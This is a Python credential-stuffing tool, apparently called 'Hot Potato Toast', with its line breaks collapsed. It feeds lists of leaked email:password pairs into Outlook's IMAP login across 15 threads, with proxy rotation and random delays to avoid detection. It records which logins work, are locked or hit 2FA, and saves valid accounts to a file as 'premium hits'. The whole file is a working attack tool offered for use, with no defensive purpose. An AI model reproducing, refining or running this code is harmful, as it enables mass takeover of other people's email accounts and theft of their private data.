import imaplibimport threadingimport queueimport timeimport randomimport sysfrom colorama import init, Fore, Stylefrom tkinter import Tkfrom tkinter.filedialog import askopenfilenamefrom tqdm import tqdmfrom datetime import datetime init(autoreset=True) # Global counters & trackinglock = threading.Lock()total_combos = 0checked = 0valid = 0invalid = 0locked = 0error_timeout = 0 start_time = Nonecombo_queue = queue.Queue()use_proxies = Falseproxy_list = [] def select_combo_file(): Tk().withdraw() print(f"{Fore.YELLOW}Opening file selector... Choose your combos file ?\n") file_path = askopenfilename( title="Select combos file (email:pass)", filetypes=[("Text files", "*.txt"), ("All files", "*.*")] ) if not file_path: print(f"{Fore.RED}No file selected! Exiting...") sys.exit() print(f"{Fore.CYAN}Selected: {file_path}\n") return file_path def ask_proxy_support(): global use_proxies, proxy_list choice = input(f"{Fore.CYAN}Use proxies? (y/n): ").strip().lower() if choice == 'y': proxy_file = input(f"{Fore.CYAN}Enter proxy file name (e.g. proxies.txt): ").strip() or "proxies.txt" try: with open(proxy_file, 'r', encoding='utf-8') as f: proxy_list = [line.strip() for line in f if line.strip() and ':' in line] if proxy_list: use_proxies = True print(f"{Fore.GREEN}Loaded {len(proxy_list)} proxies – rotating enabled ?\n") else: print(f"{Fore.RED}Proxy file empty! Running hot (proxyless)...\n") except FileNotFoundError: print(f"{Fore.RED}Proxy file not found! Running hot (proxyless)...\n") else: print(f"{Fore.YELLOW}Running fully hot (proxyless) ?\n") def load_potatoes(filename): global total_combos try: with open(filename, 'r', encoding='utf-8') as f: for line in f: line = line.strip() if ':' in line and line: email, password = line.split(':', 1) combo_queue.put((email.strip().lower(), password.strip())) total_combos = combo_queue.qsize() if total_combos == 0: print(f"{Fore.RED}No valid combos loaded!") sys.exit() print(f"{Fore.CYAN}Loaded {total_combos} potatoes – toast starting! ??\n") except Exception as e: print(f"{Fore.RED}Error loading file: {e}") sys.exit() def calculate_cpm(): global start_time, checked if checked == 0 or start_time is None: return 0 elapsed_minutes = (datetime.now() - start_time).total_seconds() / 60 if elapsed_minutes == 0: return 0 return round(checked / elapsed_minutes) def update_progress_desc(pbar): cpm = calculate_cpm() pbar.set_description( f"{Fore.GREEN}Valid: {valid} | " f"{Fore.RED}Invalid: {invalid} | " f"{Fore.YELLOW}Locked: {locked} | " f"{Fore.MAGENTA}Error: {error_timeout} | " f"{Fore.WHITE}Checked: {checked}/{total_combos} | " f"{Fore.CYAN}CPM: {cpm}" ) def potato_toast(email, password, pbar): global valid, invalid, locked, error_timeout, checked for attempt in range(3): try: mail = imaplib.IMAP4_SSL("outlook.office365.com", 993, timeout=15) mail.login(email, password) mail.select("INBOX") mail.logout() with lock: valid += 1 checked += 1 update_progress_desc(pbar) print(f"\n{Fore.GREEN}[VALID #{valid}] {email}:{password} → Premium hit! ??") with open('valid_potatoes.txt', 'a', encoding='utf-8') as f: f.write(f"{email}:{password}\n") break except imaplib.IMAP4.error as e: err = str(e).lower() with lock: checked += 1 update_progress_desc(pbar) if "authentication failed" in err or "invalid credentials" in err: invalid += 1 print(f"\n{Fore.RED}[INVALID #{invalid}] {email}:{password}") elif "too many" in err or "lock" in err or "2fa" in err: locked += 1 print(f"\n{Fore.YELLOW}[LOCKED #{locked}] {email}:{password} ?") else: if attempt == 2: error_timeout += 1 print(f"\n{Fore.MAGENTA}[ERROR #{error_timeout}] {email}:{password} → {e}") pbar.update(1) break except Exception as e: if attempt < 2: time.sleep(random.uniform(8, 15)) continue else: with lock: error_timeout += 1 checked += 1 update_progress_desc(pbar) print(f"\n{Fore.RED}[TIMEOUT #{error_timeout}] {email} → Connection failed") pbar.update(1) break else: with lock: checked += 1 update_progress_desc(pbar) pbar.update(1) def worker(pbar): while not combo_queue.empty(): email, password = combo_queue.get() potato_toast(email, password, pbar) combo_queue.task_done() time.sleep(random.uniform(3, 8)) def start_hot_potato_toast(): global start_time print(f"""{Fore.RED} ___ __ __ _____ ___ _____ ___ ___ {Fore.RED} | __| \\ \\ / / | ____| / _ \\ |_ _| / _ \\ / _ \\{Fore.YELLOW} | _| \\ V / | _| | | | | | | | | | | | | |{Fore.YELLOW} |___| | | | |___ | |_| | | | | |_| | |_| |{Fore.GREEN} \\____| |_| |_____| \\___/ |_| \\___/ \\___/ {Fore.CYAN} Hot Potato Toast v14 – Jan 2026{Fore.CYAN} Live CPM + Stats Edition ??? """) combo_file = select_combo_file() ask_proxy_support() load_potatoes(combo_file) print(f"{Fore.CYAN}Starting toast with up to 15 threads...\n") start_time = datetime.now() # Start timer for CPM pbar = tqdm(total=total_combos, desc="Warming up...", ncols=130, colour='cyan') update_progress_desc(pbar) threads = [] max_threads = 15 for _ in range(max_threads): t = threading.Thread(target=worker, args=(pbar,), daemon=True) t.start() threads.append(t) for t in threads: t.join() pbar.close() final_cpm = calculate_cpm() print(f"\n{Fore.GREEN}=== TOAST COMPLETE ===") print(f"{Fore.CYAN}Total Combos : {total_combos}") print(f"{Fore.WHITE}Checked : {checked}") print(f"{Fore.GREEN}Valid Hits : {valid}") print(f"{Fore.RED}Invalid : {invalid}") print(f"{Fore.YELLOW}Locked/2FA : {locked}") print(f"{Fore.MAGENTA}Error/Timeout : {error_timeout}") print(f"{Fore.CYAN}Average CPM : {final_cpm}") print(f"\n{Fore.GREEN}Valid potatoes saved to 'valid_potatoes.txt' ??") if valid > 0: print(f"{Fore.YELLOW}Go collect your premium hits bhai! ?") if __name__ == "__main__": # pip install tqdm colorama start_hot_potato_toast()